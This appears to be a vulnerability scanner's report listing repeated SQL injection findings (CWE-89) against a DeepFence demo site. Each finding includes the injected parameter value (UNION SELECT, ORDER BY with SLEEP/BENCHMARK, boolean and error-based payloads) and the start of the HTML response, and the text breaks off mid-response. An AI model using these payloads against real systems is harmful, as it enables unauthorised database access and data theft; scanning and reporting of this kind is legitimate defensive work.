z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1819
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1820
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1821
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# " or "x"="x
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1822
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1
#UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1823
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1824
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1825
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1826Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1827
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1828
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 14--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1829
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+
CHAR(88)+CHAR(88)+CHAR(88)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1830
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1831
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1832
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
#ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1833
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
